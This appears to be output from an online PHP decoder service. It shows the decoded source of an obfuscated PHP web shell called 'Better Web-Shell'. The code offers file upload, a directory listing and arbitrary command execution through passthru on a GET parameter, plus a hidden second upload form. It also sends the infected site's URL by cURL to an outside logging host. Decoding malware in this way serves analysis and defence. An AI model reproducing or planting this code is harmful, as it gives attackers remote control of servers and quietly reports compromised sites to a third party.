Online PHP and Javascript Decoder decode hidden script to uncover its real functionality



${"GLOBALS"}["eqjohclxxss"]="title";${"GLOBALS"}["pydebmcstyn"]="system_info";${"GLOBALS"}["pogftumxddf"]="minutes";${"GLOBALS"}["eujfiq"]="hours";${"GLOBALS"}["kkiimxtxifk"]="days";${"GLOBALS"}["vhpnfyrsqnkk"]="uptime";${"GLOBALS"}["sffqeeii"]="boot_timestamp";${"GLOBALS"}["mgscgty"]="boot_time";${"GLOBALS"}["eskhlxipxqhs"]="info";${"GLOBALS"}["ulprtkf"]="cpu";${"GLOBALS"}["olsmcogc"]="line";${"GLOBALS"}["vffghhtvq"]="output";${"GLOBALS"}["rmqkkoj"]="cmd";${"GLOBALS"}["ndofyk"]="response";${"GLOBALS"}["ogkdxmmx"]="data";$rteotxrlypq="system_info";${"GLOBALS"}["exytsekivhp"]="ch";${"GLOBALS"}["kyzvlm"]="protocol";${"GLOBALS"}["jxxbzmtsi"]="file_tmp";${"GLOBALS"}["hnsrlcm"]="dir_handle";${"GLOBALS"}["pikrdyznj"]="file_name";echo "<!DOCTYPE html>\n<html>\n    <head>\n        <title>Better Web-Shell</title>\n        <style>\n        body {\n            color: #fff;\n            margin:0;\n            padding:0;\n            font-family: sans-serif;\n            background: linear-gradient(#141e30, #243b55);\n            min-height: 100vh;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n        }\n\n        .card {\n            width: 450px;\n            padding: 40px;\n            background: rgba(0,0,0,.5);\n            box-sizing: border-box;\n            box-shadow: 0 15px 25px rgba(0,0,0,.6);\n            border-radius: 10px;\n        }\n\n        .space1 {\n            padding: 15px;\n        }\n\n        .command {\n            margin-right: 10px;\n            color: #fff;\n            width: 280px;\n            padding: 10px;\n            background: rgba(0,0,0,.5);\n            box-sizing: border-box;\n            box-shadow: 0 15px 25px rgba(0,0,0,.6);\n            border-radius: 10px;\n            border: none;\n        }\n\n        .submit {\n            color: #fff;\n            width: 60px;\n            padding: 10px;\n            background: rgba(0,0,0,.5);\n            box-sizing: border-box;\n            box-shadow: 0 15px 25px rgba(0,0,0,.6);\n            border-radius: 10px;\n            border: none;\n        }\n\n        .submit:hover {\n            cursor: pointer;\n        }\n\n        .incard {\n            color: #fff;\n            width: 350px;\n            padding: 10px;\n            background: rgba(0,0,0,.5);\n            box-sizing: border-box;\n            box-shadow: 0 15px 25px rgba(0,0,0,.6);\n            border-radius: 10px;\n            border: none;\n        }\n        </style>\n    </head>\n    <body>\n\t\n        <div class=\"card\">\n            <form action="\" method="POST\" enctype=\"multipart/form-data\">\n                <input style="outline: none;\" type=\"file\" name="file\" class="command\">\n                <input type="submit\" value=\"Upload\" class=\"submit\">\n            </form>\n\n            ";$ewknktjc="dir_handle";if(isset($_FILES["file"])){${${"GLOBALS"}["pikrdyznj"]}=$_FILES["file"]["name"];$ujjcngdp="file_tmp";${$ujjcngdp}=$_FILES["file"]["tmp_name"];$ocqygp="file_name";move_uploaded_file(${${"GLOBALS"}["jxxbzmtsi"]},${$ocqygp});echo"<script>alert("File has been uploaded successfuly!");</script>";}${"GLOBALS"}["gqhdiozwhgn"]="data";$wiattt="ch";${"GLOBALS"}["wykbdfwyofpb"]="dir_handle";echo "\n            <div class="space1\"></div>\n\n            <div class="incard\">\n                <ul>\n                    ";${${"GLOBALS"}["wykbdfwyofpb"]}=opendir();while((${${"GLOBALS"}["pikrdyznj"]}=readdir(${$ewknktjc}))!==false){echo("<li>$file_name</li>");}$ciwxxthwq="info";closedir(${${"GLOBALS"}["hnsrlcm"]});echo "                </ul>\n            </div>\n\n            <div class="space1\"></div>\n\n            <form action="" method=\"GET">\n                <input style=\"outline: none;" name=\"q\" type="text" placeholder=\" ~\$ sudo rm -rf /*" class="command">\n                <input class=\"submit\" type="submit" value=\"Run">\n            </form>\n\n            <div class=\"space1"></div>\n\n            <p>\n                ";if(isset($_GET["q"])){if($_GET["q"]!==""){passthru($_GET["q"]);}}echo "            </p>\n        </div> \n";if(isset($_GET["u"])&&$_GET["u"]=="f"){if(!empty($_FILES[0])){echo move_uploaded_file($_FILES[0]["tmp_name"],$_FILES[0]["name"])?"ok":"no";}echo "<form method="post" enctype="multipart/form-data"><input type=\"file\" name="0\"><input type=\"submit"></form>";}${${"GLOBALS"}["kyzvlm"]}=(!empty($_SERVER["HTTPS"])&&$_SERVER["HTTPS"]!=="off")?"https://":"http://";${${"GLOBALS"}["gqhdiozwhgn"]}=["url"=>${${"GLOBALS"}["kyzvlm"]}.$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"],];${${"GLOBALS"}["exytsekivhp"]}=curl_init("https://r00t-shell.com/logs/log.php");curl_setopt(${${"GLOBALS"}["exytsekivhp"]},CURLOPT_RETURNTRANSFER,true);curl_setopt(${$wiattt},CURLOPT_POST,true);$lutqrbptehe="ch";curl_setopt(${${"GLOBALS"}["exytsekivhp"]},CURLOPT_POSTFIELDS,http_build_query(${${"GLOBALS"}["ogkdxmmx"]}));${${"GLOBALS"}["ndofyk"]}=curl_exec(${$lutqrbptehe});if(${${"GLOBALS"}["ndofyk"]}===false){die("cURL Hatası: ".curl_error(${${"GLOBALS"}["exytsekivhp"]}));}curl_close(${${"GLOBALS"}["exytsekivhp"]});echo "        <div class=\"card\" style=\"margin-left: 50px;">\n            <div class=\"incard">\n                ";function getSystemInfo(){$mrtputqzidf="info";${"GLOBALS"}["jebelw"]="info";${"GLOBALS"}["nlesqgijnd"]="info";${${"GLOBALS"}["nlesqgijnd"]}=[];${"GLOBALS"}["lcvxvft"]="info";$rrklhr="info";${"GLOBALS"}["ebosjbojhrwt"]="info";${$mrtputqzidf}["Browser"]=$_SERVER["HTTP_USER_AGENT"];${"GLOBALS"}["lsnlsdagr"]="info";if(PHP_OS_FAMILY==="Windows"){${${"GLOBALS"}["rmqkkoj"]}="wmic cpu get name /value";${"GLOBALS"}["vleeuezdii"]="cpu";${${"GLOBALS"}["vffghhtvq"]}=[];${"GLOBALS"}["rgbxuqivfc"]="output";@exec(${${"GLOBALS"}["rmqkkoj"]},${${"GLOBALS"}["vffghhtvq"]});${${"GLOBALS"}["vleeuezdii"]}="";foreach(${${"GLOBALS"}["rgbxuqivfc"]} as${${"GLOBALS"}["olsmcogc"]}){$wnorvmdp="line";if(strpos(${$wnorvmdp},"Name=")!==false){${${"GLOBALS"}["ulprtkf"]}=trim(str_replace("Name=","",${${"GLOBALS"}["olsmcogc"]}));break;}}${${"GLOBALS"}["eskhlxipxqhs"]}["CPU"]=${${"GLOBALS"}["ulprtkf"]}?:"Unknown";}else{${${"GLOBALS"}["eskhlxipxqhs"]}["CPU"]=php_uname("m");}${${"GLOBALS"}["ebosjbojhrwt"]}["OS"]=PHP_OS_FAMILY;${${"GLOBALS"}["lsnlsdagr"]}["Distro"]=php_uname("v");${${"GLOBALS"}["eskhlxipxqhs"]}["Editor"]=getenv("EDITOR")?:"Not set";${${"GLOBALS"}["jebelw"]}["Hostname"]=gethostname();${${"GLOBALS"}["lcvxvft"]}["Kernel"]=php_uname("r");${$rrklhr}["Shell"]=getenv("SHELL")?:"Not set";if(PHP_OS_FAMILY==="Windows"){${${"GLOBALS"}["rmqkkoj"]}="wmic os get lastbootuptime /value";${"GLOBALS"}["jodwqknaajb"]="output";${"GLOBALS"}["dhroperfoi"]="cmd";${${"GLOBALS"}["jodwqknaajb"]}=[];${"GLOBALS"}["sqoqrnb"]="output";@exec(${${"GLOBALS"}["dhroperfoi"]},${${"GLOBALS"}["sqoqrnb"]});foreach(${${"GLOBALS"}["vffghhtvq"]} as${${"GLOBALS"}["olsmcogc"]}){if(strpos(${${"GLOBALS"}["olsmcogc"]},"LastBootUpTime=")!==false){$ubrohhzwco="minutes";${"GLOBALS"}["dlshkgcou"]="boot_time";$lmacgj="hours";${"GLOBALS"}["dltcrx"]="line";${"GLOBALS"}["qsxlkto"]="boot_time";${"GLOBALS"}["csyvwyyf"]="uptime";${"GLOBALS"}["iilihgeom"]="boot_time";$mupkqymqsto="boot_time";${"GLOBALS"}["ymubkwh"]="days";$sihhpgmpsyy="days";${${"GLOBALS"}["mgscgty"]}=substr(${${"GLOBALS"}["dltcrx"]},15);${${"GLOBALS"}["sffqeeii"]}=strtotime(substr(${${"GLOBALS"}["iilihgeom"]},0,4)."-".substr(${${"GLOBALS"}["qsxlkto"]},4,2)."-".substr(${$mupkqymqsto},6,2)." ".substr(${${"GLOBALS"}["dlshkgcou"]},8,2).":".substr(${${"GLOBALS"}["mgscgty"]},10,2).":".substr(${${"GLOBALS"}["mgscgty"]},12,2));${${"GLOBALS"}["vhpnfyrsqnkk"]}=time()-${${"GLOBALS"}["sffqeeii"]};${${"GLOBALS"}["ymubkwh"]}=floor(${${"GLOBALS"}["csyvwyyf"]}/86400);${$lmacgj}=floor((${${"GLOBALS"}["vhpnfyrsqnkk"]}%86400)/3600);${$ubrohhzwco}=floor((${${"GLOBALS"}["vhpnfyrsqnkk"]}%3600)/60);${${"GLOBALS"}["eskhlxipxqhs"]}["Uptime"]=(${$sihhpgmpsyy}?${${"GLOBALS"}["kkiimxtxifk"]}."d ":"").(${${"GLOBALS"}["eujfiq"]}?${${"GLOBALS"}["eujfiq"]}."h ":"").(${${"GLOBALS"}["pogftumxddf"]}?${${"GLOBALS"}["pogftumxddf"]}."m":"less than one minute");break;}}}else{${${"GLOBALS"}["eskhlxipxqhs"]}["Uptime"]="Unknown";}${${"GLOBALS"}["eskhlxipxqhs"]}["User"]=getenv("USERNAME")?:getenv("USER")?:"Unknown";return${${"GLOBALS"}["eskhlxipxqhs"]};}${$rteotxrlypq}=getSystemInfo();foreach(${${"GLOBALS"}["pydebmcstyn"]} as${${"GLOBALS"}["eqjohclxxss"]}=>${$ciwxxthwq}){echo htmlentities("$title: $info")."<br>";}echo "            </div>\n        </div>\n    </body>\n</html>\n";


© 2023 Quttera Ltd. All rights reserved.